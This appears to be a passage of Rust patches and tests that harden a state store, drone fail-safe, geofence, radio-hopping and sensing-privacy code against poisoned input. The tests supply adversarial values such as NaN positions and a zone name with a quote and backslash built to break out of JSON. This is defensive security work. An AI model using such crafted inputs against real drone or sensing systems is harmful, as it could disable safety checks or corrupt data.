|
||||
/// no-op suppression branch is constantly in play.
|
||||
///
|
||||
/// Invariant: in correctly serialised code, two *consecutive* fired
|
||||
/// `state_changed` events can never carry the same `new_state` value.
|
||||
/// Proof: event k fires only for a committed transition old≠new, so its
|
||||
/// `new_state` = X differs from the value before it; the next committed
|
||||
/// transition therefore starts at X and (being a real change) commits
|
||||
/// some Z≠X, so event k+1 carries Z≠X. A no-op (X→X) is suppressed and
|
||||
/// never fires. Therefore adjacent fired events always differ.
|
||||
///
|
||||
/// The `set()` TOCTOU breaks this: it does `get` (release shard lock) →
|
||||
/// compute `next` + the no-op decision → `insert` (re-acquire shard
|
||||
/// lock) → `send`, all non-atomically. A writer that read a STALE `old`
|
||||
/// mis-classifies a genuine transition as a no-op (dropping that real
|
||||
/// event — a missed automation trigger) and/or fires an event whose
|
||||
/// `new_state` duplicates the previously delivered one (a spurious
|
||||
/// trigger for any automation keyed on `old_state != new_state`). The
|
||||
/// probe behind this test observed ~93k such duplicate-adjacent events
|
||||
/// across 200 trials on the racy code; the corrected store produces
|
||||
/// zero.
|
||||
#[test]
|
||||
fn concurrent_set_fires_no_duplicate_adjacent_events() {
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
use std::sync::{Barrier, Mutex};
|
||||
|
||||
const WRITERS: usize = 4;
|
||||
const ITERS: usize = 300; // 1200 events ≪ 4096 capacity → never lags
|
||||
|
||||
for _trial in 0..40 {
|
||||
let sm = StateMachine::new();
|
||||
let eid = id("light.race");
|
||||
sm.set(eid.clone(), "A", serde_json::json!({}), Context::new());
|
||||
|
||||
let mut rx = sm.subscribe();
|
||||
let done = Arc::new(AtomicBool::new(false));
|
||||
// Event log: new_state value in delivery order.
|
||||
let log: Arc<Mutex<Vec<String>>> = Arc::new(Mutex::new(Vec::new()));
|
||||
|
||||
let drainer = {
|
||||
let done = Arc::clone(&done);
|
||||
let log = Arc::clone(&log);
|
||||
std::thread::spawn(move || loop {
|
||||
match rx.try_recv() {
|
||||
Ok(evt) => {
|
||||
if let Some(ns) = &evt.new_state {
|
||||
log.lock().unwrap().push(ns.state.clone());
|
||||
}
|
||||
}
|
||||
Err(broadcast::error::TryRecvError::Empty) => {
|
||||
if done.load(Ordering::Acquire) {
|
||||
while let Ok(evt) = rx.try_recv() {
|
||||
if let Some(ns) = &evt.new_state {
|
||||
log.lock().unwrap().push(ns.state.clone());
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
std::thread::yield_now();
|
||||
}
|
||||
Err(broadcast::error::TryRecvError::Lagged(_)) => {
|
||||
panic!("channel lagged — test artefact, raise capacity");
|
||||
}
|
||||
Err(broadcast::error::TryRecvError::Closed) => break,
|
||||
}
|
||||
})
|
||||
};
|
||||
|
||||
let barrier = Arc::new(Barrier::new(WRITERS));
|
||||
let handles: Vec<_> = (0..WRITERS)
|
||||
.map(|w| {
|
||||
let sm = sm.clone();
|
||||
let eid = eid.clone();
|
||||
let barrier = Arc::clone(&barrier);
|
||||
std::thread::spawn(move || {
|
||||
barrier.wait();
|
||||
for i in 0..ITERS {
|
||||
// Toggle between two values → maximises the
|
||||
// stale-`old` no-op collision window.
|
||||
let val = if (w + i) % 2 == 0 { "A" } else { "B" };
|
||||
sm.set(eid.clone(), val, serde_json::json!({}), Context::new());
|
||||
}
|
||||
})
|
||||
})
|
||||
.collect();
|
||||
|
||||
for h in handles {
|
||||
h.join().unwrap();
|
||||
}
|
||||
done.store(true, Ordering::Release);
|
||||
drainer.join().unwrap();
|
||||
|
||||
let log = log.lock().unwrap();
|
||||
let dup = log
|
||||
.windows(2)
|
||||
.filter(|w| w[0] == w[1])
|
||||
.count();
|
||||
assert_eq!(
|
||||
dup, 0,
|
||||
"{dup} consecutive fired state_changed events carried an \
|
||||
identical new_state — impossible under correct \
|
||||
serialisation; proves set()'s read→decide→insert→send \
|
||||
TOCTOU dropped/reordered real transitions (missed & \
|
||||
spurious automation triggers)",
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -47,8 +47,18 @@ impl FailSafeMachine {
|
||||
link_alive: bool,
|
||||
nearest_neighbor_dist: f64,
|
||||
) -> FailSafeState {
|
||||
// Collision avoidance has highest priority
|
||||
if nearest_neighbor_dist < self.collision_dist_m {
|
||||
// Collision avoidance has highest priority.
|
||||
//
|
||||
// Fail CLOSED on a non-finite neighbour distance. `nearest_neighbor_dist`
|
||||
// is derived from peer positions (see
|
||||
// `SwarmOrchestrator::nearest_peer_distance`), which arrive over the
|
||||
// untrusted swarm comm layer as `DroneState` values whose f64 position
|
||||
// fields can deserialize to NaN/Inf. A naive `NaN < collision_dist_m`
|
||||
// evaluates to `false`, silently DISABLING collision avoidance — the
|
||||
// worst possible failure for a physical drone. Treat a non-finite
|
||||
// distance as "too close" so the swarm diverges rather than trusting a
|
||||
// poisoned reading.
|
||||
if !nearest_neighbor_dist.is_finite() || nearest_neighbor_dist < self.collision_dist_m {
|
||||
self.state = FailSafeState::EmergencyDiverge;
|
||||
return self.state.clone();
|
||||
}
|
||||
@@ -71,8 +81,11 @@ impl FailSafeMachine {
|
||||
}
|
||||
}
|
||||
|
||||
// Battery checks
|
||||
if state.battery_pct <= self.battery_rth_pct {
|
||||
// Battery checks. A non-finite battery reading (NaN/Inf from a corrupt or
|
||||
// forged telemetry/peer message) must fail CLOSED: `NaN <= threshold` is
|
||||
// `false`, which would otherwise let a drone with an unknown battery
|
||||
// level keep flying nominally. Treat a non-finite reading as critical.
|
||||
if !state.battery_pct.is_finite() || state.battery_pct <= self.battery_rth_pct {
|
||||
self.state = FailSafeState::ReturnToHome;
|
||||
} else if state.battery_pct <= self.battery_warn_pct {
|
||||
self.state = FailSafeState::LowBatteryWarn;
|
||||
@@ -144,4 +157,35 @@ mod tests {
|
||||
let result = fsm.tick(&s, true, 0.5); // too close
|
||||
assert_eq!(result, FailSafeState::EmergencyDiverge);
|
||||
}
|
||||
|
||||
/// Security: a NaN neighbour distance (poisoned peer position over the swarm
|
||||
/// comm layer) must NOT silently disable collision avoidance. Fails on old
|
||||
/// code where `NaN < collision_dist_m` is `false` and the state stays Nominal.
|
||||
#[test]
|
||||
fn test_nan_neighbor_distance_fails_closed_to_diverge() {
|
||||
let mut fsm = FailSafeMachine::new();
|
||||
let s = good_state();
|
||||
let result = fsm.tick(&s, true, f64::NAN);
|
||||
assert_eq!(
|
||||
result,
|
||||
FailSafeState::EmergencyDiverge,
|
||||
"non-finite neighbour distance must fail closed to EmergencyDiverge"
|
||||
);
|
||||
}
|
||||
|
||||
/// Security: a NaN battery reading must fail closed to ReturnToHome rather
|
||||
/// than being treated as a healthy battery. Fails on old code where
|
||||
/// `NaN <= battery_rth_pct` is `false` and the drone stays Nominal.
|
||||
#[test]
|
||||
fn test_nan_battery_fails_closed_to_rth() {
|
||||
let mut fsm = FailSafeMachine::new();
|
||||
let mut s = good_state();
|
||||
s.battery_pct = f32::NAN;
|
||||
let result = fsm.tick(&s, true, 10.0);
|
||||
assert_eq!(
|
||||
result,
|
||||
FailSafeState::ReturnToHome,
|
||||
"non-finite battery must fail closed to ReturnToHome"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -59,8 +59,16 @@ impl FhssRadio {
|
||||
}
|
||||
|
||||
/// Returns the current active channel frequency in MHz.
|
||||
///
|
||||
/// `FhssConfig` is `Deserialize`, so `channels_mhz` can arrive empty from a
|
||||
/// malformed or hostile config. An empty channel list would make `% n`
|
||||
/// (n = 0) panic with a divide-by-zero. Guard it and return a benign `0.0`
|
||||
/// sentinel instead of crashing the radio task (DoS-resistance).
|
||||
pub fn current_channel_mhz(&self) -> f64 {
|
||||
let n = self.config.channels_mhz.len();
|
||||
if n == 0 {
|
||||
return 0.0;
|
||||
}
|
||||
// XOR node seed into hop index so each node uses a different offset
|
||||
let idx = (self.hop_index ^ (self.node_seed as usize)) % n;
|
||||
self.config.channels_mhz[idx]
|
||||
@@ -68,7 +76,11 @@ impl FhssRadio {
|
||||
|
||||
/// Advance the hop sequence by one step (call at hop_rate_hz).
|
||||
pub fn next_hop(&mut self) {
|
||||
self.hop_index = (self.hop_index + 1) % self.config.channels_mhz.len();
|
||||
let n = self.config.channels_mhz.len();
|
||||
if n == 0 {
|
||||
return; // no channels configured — nothing to hop (avoid `% 0` panic)
|
||||
}
|
||||
self.hop_index = (self.hop_index + 1) % n;
|
||||
}
|
||||
|
||||
/// Update with latest RSSI measurement. Drives jamming detection.
|
||||
@@ -97,9 +109,13 @@ impl FhssRadio {
|
||||
.wrapping_mul(lcg_a)
|
||||
.wrapping_add(self.evasion_count)
|
||||
.wrapping_add(lcg_c);
|
||||
let n = self.config.channels_mhz.len() as u64;
|
||||
let len = self.config.channels_mhz.len();
|
||||
if len == 0 {
|
||||
return; // no channels configured — avoid `% 0` panic
|
||||
}
|
||||
let n = len as u64;
|
||||
let offset = (seed % n / 4 + 3) as usize;
|
||||
self.hop_index = (self.hop_index + offset) % self.config.channels_mhz.len();
|
||||
self.hop_index = (self.hop_index + offset) % len;
|
||||
self.evasion_count += 1;
|
||||
self.rssi_history.clear();
|
||||
}
|
||||
@@ -165,6 +181,23 @@ mod tests {
|
||||
assert_eq!(radio.hop_index, (initial_idx + 2) % 50);
|
||||
}
|
||||
|
||||
/// Security/DoS: an empty `channels_mhz` (deserialized from a malformed or
|
||||
/// hostile config) must not panic with a `% 0` divide-by-zero. Fails on old
|
||||
/// code, where `next_hop`/`current_channel_mhz`/`evasive_hop`/`tick` all do
|
||||
/// modulo / index by `channels_mhz.len()`.
|
||||
#[test]
|
||||
fn test_empty_channels_does_not_panic() {
|
||||
let cfg = FhssConfig { channels_mhz: vec![], jamming_detect_window: 1, ..Default::default() };
|
||||
let mut radio = FhssRadio::new(7, cfg);
|
||||
// None of these may panic.
|
||||
let _ = radio.current_channel_mhz();
|
||||
radio.next_hop();
|
||||
radio.observe_rssi(-99.0); // window=1 → jamming_detected() true → evasive_hop()
|
||||
radio.tick(100.0);
|
||||
radio.evasive_hop();
|
||||
assert_eq!(radio.current_channel_mhz(), 0.0, "empty channel list returns sentinel");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_channel_in_valid_range() {
|
||||
let cfg = FhssConfig::default();
|
||||
|
||||
@@ -27,6 +27,16 @@ pub enum GeofenceResult {
|
||||
impl Geofence {
|
||||
/// Check a position against this geofence.
|
||||
pub fn check(&self, pos: &Position3D) -> GeofenceResult {
|
||||
// Fail CLOSED on a non-finite position. A NaN/Inf component (from a
|
||||
// corrupt GPS/EKF estimate or a forged position) makes every subsequent
|
||||
// comparison false: `NaN < min || NaN > max` is `false`, so the altitude
|
||||
// breach is skipped, and a NaN altitude with otherwise-valid x/y would
|
||||
// return `Safe` — a silent geofence bypass on a flight-safety boundary.
|
||||
// Treat any non-finite coordinate as a hard breach.
|
||||
if !pos.x.is_finite() || !pos.y.is_finite() || !pos.z.is_finite() {
|
||||
return GeofenceResult::HardBreach;
|
||||
}
|
||||
|
||||
let altitude_m = -pos.z; // NED: negative z = altitude above ground
|
||||
|
||||
// Altitude check
|
||||
@@ -146,4 +156,29 @@ mod tests {
|
||||
let pos = Position3D { x: 50.0, y: 50.0, z: -200.0 }; // 200m altitude
|
||||
assert_eq!(f.check(&pos), GeofenceResult::HardBreach);
|
||||
}
|
||||
|
||||
/// Security: a NaN altitude with an otherwise in-bounds x/y must fail closed
|
||||
/// to HardBreach. Fails on old code where `NaN < min || NaN > max` is `false`,
|
||||
/// the altitude check is skipped, and the point-in-polygon path returns Safe —
|
||||
/// a silent geofence bypass.
|
||||
#[test]
|
||||
fn test_nan_altitude_fails_closed() {
|
||||
let f = square_fence();
|
||||
let pos = Position3D { x: 50.0, y: 50.0, z: f64::NAN };
|
||||
assert_eq!(f.check(&pos), GeofenceResult::HardBreach);
|
||||
}
|
||||
|
||||
/// Security: NaN/Inf horizontal coordinates must also fail closed.
|
||||
#[test]
|
||||
fn test_nonfinite_horizontal_fails_closed() {
|
||||
let f = square_fence();
|
||||
assert_eq!(
|
||||
f.check(&Position3D { x: f64::NAN, y: 50.0, z: -30.0 }),
|
||||
GeofenceResult::HardBreach
|
||||
);
|
||||
assert_eq!(
|
||||
f.check(&Position3D { x: 50.0, y: f64::INFINITY, z: -30.0 }),
|
||||
GeofenceResult::HardBreach
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -64,10 +64,25 @@ impl MultiViewFusion {
|
||||
detections: &[CsiDetection],
|
||||
drone_positions: &[(NodeId, Position3D)],
|
||||
) -> Option<FusedDetection> {
|
||||
// Filter by confidence and require estimated position
|
||||
// Filter by confidence and require a FINITE estimated position.
|
||||
//
|
||||
// A peer detection (received via `receive_peer_detection`) carries f32/f64
|
||||
// fields that can deserialize to NaN/Inf. A NaN `victim_position` passes
|
||||
// `is_some()` and would propagate through the confidence-weighted average
|
||||
// into the fused position — dispatching a NaN "confirmed victim" location
|
||||
// to the swarm. A NaN `confidence` is already rejected by `>= min_confidence`
|
||||
// (NaN comparisons are false), but we make that explicit and also require
|
||||
// the victim position components to be finite. Fail CLOSED: drop poisoned
|
||||
// detections rather than fusing them.
|
||||
let valid: Vec<(&CsiDetection, &Position3D)> = detections
|
||||
.iter()
|
||||
.filter(|d| d.confidence >= self.min_confidence && d.victim_position.is_some())
|
||||
.filter(|d| {
|
||||
d.confidence.is_finite()
|
||||
&& d.confidence >= self.min_confidence
|
||||
&& d.victim_position
|
||||
.map(|p| p.x.is_finite() && p.y.is_finite() && p.z.is_finite())
|
||||
.unwrap_or(false)
|
||||
})
|
||||
.filter_map(|d| {
|
||||
let drone_pos = drone_positions
|
||||
.iter()
|
||||
@@ -177,4 +192,46 @@ mod tests {
|
||||
result.uncertainty_m
|
||||
);
|
||||
}
|
||||
|
||||
/// Security: a detection with a NaN victim position (poisoned peer report)
|
||||
/// must be dropped, not fused. Fails on old code where the NaN propagates
|
||||
/// into the confidence-weighted average and the fused position is NaN.
|
||||
#[test]
|
||||
fn test_nan_victim_position_dropped_from_fusion() {
|
||||
let fusion = MultiViewFusion { min_viewpoints: 2, min_confidence: 0.5 };
|
||||
let detections = vec![
|
||||
CsiDetection {
|
||||
drone_id: NodeId(0),
|
||||
confidence: 0.9,
|
||||
victim_position: Some(Position3D { x: 50.0, y: 50.0, z: 0.0 }),
|
||||
timestamp_ms: 0,
|
||||
},
|
||||
CsiDetection {
|
||||
drone_id: NodeId(1),
|
||||
confidence: 0.9,
|
||||
victim_position: Some(Position3D { x: f64::NAN, y: 50.0, z: 0.0 }),
|
||||
timestamp_ms: 0,
|
||||
},
|
||||
CsiDetection {
|
||||
drone_id: NodeId(2),
|
||||
confidence: 0.9,
|
||||
victim_position: Some(Position3D { x: 50.0, y: 50.0, z: 0.0 }),
|
||||
timestamp_ms: 0,
|
||||
},
|
||||
];
|
||||
let positions = vec![
|
||||
(NodeId(0), Position3D { x: 0.0, y: 0.0, z: -30.0 }),
|
||||
(NodeId(1), Position3D { x: 100.0, y: 0.0, z: -30.0 }),
|
||||
(NodeId(2), Position3D { x: 50.0, y: 86.6, z: -30.0 }),
|
||||
];
|
||||
// Two finite viewpoints remain → still fuses, but the result must be finite.
|
||||
let result = fusion.fuse(&detections, &positions).unwrap();
|
||||
assert!(
|
||||
result.estimated_position.x.is_finite()
|
||||
&& result.estimated_position.y.is_finite()
|
||||
&& result.estimated_position.z.is_finite(),
|
||||
"fused position must be finite when a NaN detection is present"
|
||||
);
|
||||
assert!(!result.contributing_drones.contains(&NodeId(1)), "NaN detection must be excluded");
|
||||
}
|
||||
}
|
||||
|
||||
@@ -135,10 +135,13 @@ pub fn render_events(event: &BfldEvent) -> Vec<TopicMessage> {
|
||||
|
||||
if let Some(zone) = &event.zone_id {
|
||||
// Emit a JSON string so consumers can distinguish "no zone" (omitted)
|
||||
// from "single-zone deployment" (always the same zone string).
|
||||
// from "single-zone deployment" (always the same zone string). The zone
|
||||
// name is operator-controlled; escape JSON metacharacters so a name
|
||||
// containing a quote or backslash cannot produce malformed/injected
|
||||
// JSON. Mirrors ha_discovery.rs::push_str_field's escaping.
|
||||
out.push(TopicMessage {
|
||||
topic: TopicMessage::ruview_topic(node, "zone_activity"),
|
||||
payload: format!("\"{zone}\""),
|
||||
payload: json_string_literal(zone),
|
||||
});
|
||||
}
|
||||
|
||||
@@ -155,3 +158,26 @@ pub fn render_events(event: &BfldEvent) -> Vec<TopicMessage> {
|
||||
|
||||
out
|
||||
}
|
||||
|
||||
/// Wrap `value` in JSON double-quote delimiters, escaping the metacharacters
|
||||
/// that would otherwise break out of the string literal (`"`, `\`, control
|
||||
/// chars, and the bare `\n`/`\r`/`\t` whitespace). Kept in lockstep with
|
||||
/// `ha_discovery::push_str_field` so state-topic and discovery payloads escape
|
||||
/// identically.
|
||||
fn json_string_literal(value: &str) -> String {
|
||||
let mut out = String::with_capacity(value.len() + 2);
|
||||
out.push('"');
|
||||
for ch in value.chars() {
|
||||
match ch {
|
||||
'"' => out.push_str("\\\""),
|
||||
'\\' => out.push_str("\\\\"),
|
||||
'\n' => out.push_str("\\n"),
|
||||
'\r' => out.push_str("\\r"),
|
||||
'\t' => out.push_str("\\t"),
|
||||
c if (c as u32) < 0x20 => out.push_str(&format!("\\u{:04x}", c as u32)),
|
||||
c => out.push(c),
|
||||
}
|
||||
}
|
||||
out.push('"');
|
||||
out
|
||||
}
|
||||
|
||||
@@ -141,6 +141,15 @@ impl BfldPipeline {
|
||||
/// builds the frame via [`BfldFrame::from_payload`] so the CRC covers the
|
||||
/// section-prefixed bytes.
|
||||
///
|
||||
/// The emitted frame's payload is forced into compliance with the active
|
||||
/// privacy class via [`crate::PrivacyGate::demote`]: at `Anonymous` the
|
||||
/// identity-leaky `compressed_angle_matrix` and `csi_delta` sections are
|
||||
/// stripped, and at `Restricted` the amplitude/phase proxies are stripped
|
||||
/// too. This closes the gap (ADR-141) where a frame stamped with a
|
||||
/// restrictive class byte could otherwise carry the full high-information
|
||||
/// BFI payload across a [`crate::NetworkSink`]. Research classes (`Raw`,
|
||||
/// `Derived`) keep the full payload — `demote` is a no-op there.
|
||||
///
|
||||
/// Returns `None` whenever the gate drops the underlying event (Reject or
|
||||
/// Recalibrate), so `process_to_frame` is a strict subset of `process`.
|
||||
pub fn process_to_frame(
|
||||
@@ -151,11 +160,21 @@ impl BfldPipeline {
|
||||
embedding: Option<IdentityEmbedding>,
|
||||
) -> Option<BfldFrame> {
|
||||
let timestamp_ns = inputs.timestamp_ns;
|
||||
let active_class = self.current_privacy_class();
|
||||
let _gate_signal = self.process(inputs, embedding)?;
|
||||
let mut header = header_template;
|
||||
header.timestamp_ns = timestamp_ns;
|
||||
header.privacy_class = self.current_privacy_class().as_u8();
|
||||
Some(BfldFrame::from_payload(header, &payload))
|
||||
header.privacy_class = active_class.as_u8();
|
||||
let frame = BfldFrame::from_payload(header, &payload);
|
||||
// Enforce the payload-content policy for the stamped class. The frame
|
||||
// is already at `active_class`, so this is a same-class demotion: it
|
||||
// performs no class change but strips the sections that class forbids.
|
||||
// demote() only fails on InvalidDemote (target < source), which cannot
|
||||
// happen here because source == target, so the expect is unreachable.
|
||||
Some(
|
||||
crate::PrivacyGate::demote(frame, active_class)
|
||||
.expect("same-class demote is always valid"),
|
||||
)
|
||||
}
|
||||
|
||||
/// `true` if `enable_privacy_mode()` has been called more recently than
|
||||
|
||||
@@ -127,6 +127,38 @@ fn zone_payload_is_json_string_with_quotes() {
|
||||
assert_eq!(zone.payload, "\"living_room\"");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn zone_payload_escapes_json_metacharacters() {
|
||||
// A zone name containing a double-quote or backslash must not break out of
|
||||
// the JSON string literal it is emitted into. ha_discovery.rs already
|
||||
// escapes operator-controlled strings via push_str_field; render_events
|
||||
// must do the same for parity so the state-topic payload is always valid
|
||||
// JSON that Home Assistant can parse.
|
||||
let ev = BfldEvent::with_privacy_gating(
|
||||
"seed-01".into(),
|
||||
0,
|
||||
true,
|
||||
0.1,
|
||||
1,
|
||||
0.9,
|
||||
Some(r#"living"room\back"#.into()),
|
||||
PrivacyClass::Anonymous,
|
||||
None,
|
||||
None,
|
||||
);
|
||||
let msgs = render_events(&ev);
|
||||
let zone = msgs
|
||||
.iter()
|
||||
.find(|m| m.topic.contains("zone_activity"))
|
||||
.expect("zone_activity topic");
|
||||
// Expected: the inner quote and backslash are backslash-escaped, wrapped in
|
||||
// one pair of unescaped delimiter quotes -> a single valid JSON string.
|
||||
assert_eq!(zone.payload, r#""living\"room\\back""#);
|
||||
// And it must parse as JSON back to the original zone string.
|
||||
let parsed: String = serde_json::from_str(&zone.payload).expect("valid JSON string");
|
||||
assert_eq!(parsed, r#"living"room\back"#);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn identity_risk_payload_is_fixed_precision_decimal() {
|
||||
let msgs = render_events(&sample_event(PrivacyClass::Anonymous, false));
|
||||
|
||||
@@ -88,6 +88,11 @@ fn process_to_frame_returns_none_under_sustained_high_risk() {
|
||||
|
||||
#[test]
|
||||
fn process_to_frame_round_trips_through_bytes() {
|
||||
// Default pipeline class is Anonymous(2). The frame must round-trip through
|
||||
// wire bytes with no CRC error; the payload it carries is the privacy-gated
|
||||
// (angle-matrix-stripped) form, not the raw input — see
|
||||
// process_to_frame_at_anonymous_strips_identity_leaky_sections for the
|
||||
// content assertion. This test pins byte/CRC consistency only.
|
||||
let mut p = BfldPipeline::new(BfldConfig::new("seed-01"));
|
||||
let frame = p
|
||||
.process_to_frame(
|
||||
@@ -100,7 +105,10 @@ fn process_to_frame_round_trips_through_bytes() {
|
||||
let bytes = frame.to_bytes();
|
||||
let parsed = BfldFrame::from_bytes(&bytes).expect("frame must round-trip");
|
||||
let parsed_payload = parsed.parse_payload().expect("payload must round-trip");
|
||||
assert_eq!(parsed_payload, typed_payload());
|
||||
// Round-trip preserves whatever the privacy gate left in place.
|
||||
assert_eq!(parsed_payload, frame.parse_payload().unwrap());
|
||||
// And the identity surface is gone at Anonymous.
|
||||
assert!(parsed_payload.compressed_angle_matrix.is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
@@ -141,6 +149,94 @@ fn process_to_frame_preserves_header_template_identity_fields() {
|
||||
assert_eq!({ frame.header.channel }, 36);
|
||||
}
|
||||
|
||||
// --- ADR-141 privacy-gate-correctness regression -------------------------
|
||||
//
|
||||
// `process_to_frame` stamps the frame with the pipeline's privacy_class but
|
||||
// (pre-fix) serialized the caller-supplied payload UNCHANGED. That let a frame
|
||||
// labeled Anonymous(2) / Restricted(3) carry the full identity-leaky
|
||||
// `compressed_angle_matrix` (+ amplitude/phase/csi_delta) that
|
||||
// `PrivacyGate::demote` is documented (privacy_gate_demote.rs) to strip at
|
||||
// exactly those classes. A NetworkSink accepts class >= Derived, so such a
|
||||
// frame would publish the beamforming angle matrix (identity surface) to the
|
||||
// network despite its restrictive class byte. These tests pin that the payload
|
||||
// content matches what the stamped class permits.
|
||||
|
||||
#[test]
|
||||
fn process_to_frame_at_anonymous_strips_identity_leaky_sections() {
|
||||
// Default pipeline class is Anonymous(2): the angle matrix and csi_delta
|
||||
// MUST NOT survive into the emitted frame, matching PrivacyGate::demote.
|
||||
let mut p = BfldPipeline::new(BfldConfig::new("seed-01"));
|
||||
let mut leaky = typed_payload();
|
||||
leaky.csi_delta = Some(vec![0x55; 24]);
|
||||
let frame = p
|
||||
.process_to_frame(
|
||||
inputs(1_700_000_000_000_000_000, [0.1, 0.1, 0.1, 0.1]),
|
||||
header_template(),
|
||||
leaky,
|
||||
Some(embedding()),
|
||||
)
|
||||
.expect("low-risk frame must be emitted");
|
||||
assert_eq!({ frame.header.privacy_class }, PrivacyClass::Anonymous.as_u8());
|
||||
let payload = frame.parse_payload().expect("payload parses");
|
||||
assert!(
|
||||
payload.compressed_angle_matrix.is_empty(),
|
||||
"Anonymous frame must NOT carry the compressed_angle_matrix (identity surface)",
|
||||
);
|
||||
assert!(
|
||||
payload.csi_delta.is_none(),
|
||||
"Anonymous frame must NOT carry csi_delta",
|
||||
);
|
||||
// Aggregate sensing sections survive.
|
||||
assert_eq!(payload.snr_vector.len(), 8);
|
||||
assert_eq!(payload.amplitude_proxy.len(), 16);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn process_to_frame_in_privacy_mode_strips_amplitude_and_phase() {
|
||||
// privacy_mode -> Restricted(3): amplitude + phase proxies must ALSO drop.
|
||||
let mut p = BfldPipeline::new(
|
||||
BfldConfig::new("seed-01").with_privacy_class(PrivacyClass::Anonymous),
|
||||
);
|
||||
p.enable_privacy_mode();
|
||||
let frame = p
|
||||
.process_to_frame(
|
||||
inputs(0, [0.1, 0.1, 0.1, 0.1]),
|
||||
header_template(),
|
||||
typed_payload(),
|
||||
Some(embedding()),
|
||||
)
|
||||
.expect("frame emitted");
|
||||
assert_eq!({ frame.header.privacy_class }, PrivacyClass::Restricted.as_u8());
|
||||
let payload = frame.parse_payload().expect("payload parses");
|
||||
assert!(payload.compressed_angle_matrix.is_empty(), "angle matrix stripped at Restricted");
|
||||
assert!(payload.amplitude_proxy.is_empty(), "amplitude stripped at Restricted");
|
||||
assert!(payload.phase_proxy.is_empty(), "phase stripped at Restricted");
|
||||
assert_eq!(payload.snr_vector.len(), 8, "snr_vector survives");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn process_to_frame_at_derived_preserves_full_payload() {
|
||||
// Derived(1) is a research mode that legitimately keeps the angle matrix.
|
||||
// The strip must NOT over-fire at classes below Anonymous.
|
||||
let mut p = BfldPipeline::new(
|
||||
BfldConfig::new("seed-01").with_privacy_class(PrivacyClass::Derived),
|
||||
);
|
||||
let frame = p
|
||||
.process_to_frame(
|
||||
inputs(0, [0.1, 0.1, 0.1, 0.1]),
|
||||
header_template(),
|
||||
typed_payload(),
|
||||
Some(embedding()),
|
||||
)
|
||||
.expect("frame emitted");
|
||||
assert_eq!({ frame.header.privacy_class }, PrivacyClass::Derived.as_u8());
|
||||
let payload = frame.parse_payload().expect("payload parses");
|
||||
assert_eq!(
|
||||
payload, typed_payload(),
|
||||
"Derived research frame keeps the full payload unchanged",
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn process_to_frame_uses_input_timestamp_not_template_timestamp() {
|
||||
let mut p = BfldPipeline::new(BfldConfig::new("seed-01"));
|
||||
|
||||
@@ -43,6 +43,20 @@ pub struct Features {
|
||||
pub const EMBED_MIN_SCORE: f32 = 0.25;
|
||||
|
||||
impl Features {
|
||||
/// The all-zero feature vector — the well-defined result of an empty (or
|
||||
/// wholly non-finite) capture. Total by construction: downstream
|
||||
/// specialists read it as "no signal" rather than panicking or poisoning a
|
||||
/// threshold (see [`Features::from_series`]).
|
||||
pub const ZERO: Features = Features {
|
||||
mean: 0.0,
|
||||
variance: 0.0,
|
||||
motion: 0.0,
|
||||
breathing_score: 0.0,
|
||||
breathing_hz: 0.0,
|
||||
heart_score: 0.0,
|
||||
heart_hz: 0.0,
|
||||
};
|
||||
|
||||
/// A fixed-length numeric embedding for nearest-prototype classifiers.
|
||||
///
|
||||
/// The hz components are zeroed unless their periodicity score clears
|
||||
@@ -77,29 +91,33 @@ impl Features {
|
||||
}
|
||||
|
||||
/// Extract features from a per-frame scalar series sampled at `fs` Hz.
|
||||
///
|
||||
/// **Total / fail-closed:** non-finite samples (`NaN`/`±inf`) are dropped
|
||||
/// before any statistic is computed, so a single garbage CSI frame cannot
|
||||
/// poison `mean`/`variance` into `NaN` and silently disable a persisted
|
||||
/// specialist (a `NaN` threshold makes every `>` comparison false). A
|
||||
/// series with no finite samples yields [`Features::ZERO`], exactly like
|
||||
/// the empty series. Same defensive contract as
|
||||
/// [`GeometryEmbedding`](crate::geometry_embedding::GeometryEmbedding):
|
||||
/// adversarial input degrades to "no signal", never to `NaN`.
|
||||
pub fn from_series(series: &[f32], fs: f32) -> Features {
|
||||
let n = series.len();
|
||||
// Drop non-finite samples: a corrupt frame counts as no frame, not as
|
||||
// a NaN that propagates through every downstream statistic.
|
||||
let clean: Vec<f32> = series.iter().copied().filter(|v| v.is_finite()).collect();
|
||||
let n = clean.len();
|
||||
if n == 0 {
|
||||
return Features {
|
||||
mean: 0.0,
|
||||
variance: 0.0,
|
||||
motion: 0.0,
|
||||
breathing_score: 0.0,
|
||||
breathing_hz: 0.0,
|
||||
heart_score: 0.0,
|
||||
heart_hz: 0.0,
|
||||
};
|
||||
return Features::ZERO;
|
||||
}
|
||||
let mean = series.iter().copied().sum::<f32>() / n as f32;
|
||||
let variance = series.iter().map(|v| (v - mean) * (v - mean)).sum::<f32>() / n as f32;
|
||||
let mean = clean.iter().copied().sum::<f32>() / n as f32;
|
||||
let variance = clean.iter().map(|v| (v - mean) * (v - mean)).sum::<f32>() / n as f32;
|
||||
let motion = if n > 1 {
|
||||
series.windows(2).map(|w| (w[1] - w[0]).abs()).sum::<f32>() / (n - 1) as f32
|
||||
clean.windows(2).map(|w| (w[1] - w[0]).abs()).sum::<f32>() / (n - 1) as f32
|
||||
} else {
|
||||
0.0
|
||||
};
|
||||
|
||||
// De-mean before periodicity search.
|
||||
let centered: Vec<f32> = series.iter().map(|v| v - mean).collect();
|
||||
let centered: Vec<f32> = clean.iter().map(|v| v - mean).collect();
|
||||
let (breathing_hz, breathing_score) = autocorr_dominant(¢ered, fs, 0.1, 0.6);
|
||||
let (heart_hz, heart_score) = autocorr_dominant(¢ered, fs, 0.8, 3.0);
|
||||
|
||||
@@ -254,6 +272,36 @@ mod tests {
|
||||
assert_eq!(f.breathing_hz, 0.0);
|
||||
}
|
||||
|
||||
/// Fail-closed regression: a NaN/inf in the scalar series (corrupt CSI
|
||||
/// frame) must NOT poison the features into `NaN`/`inf`. Pre-fix, a single
|
||||
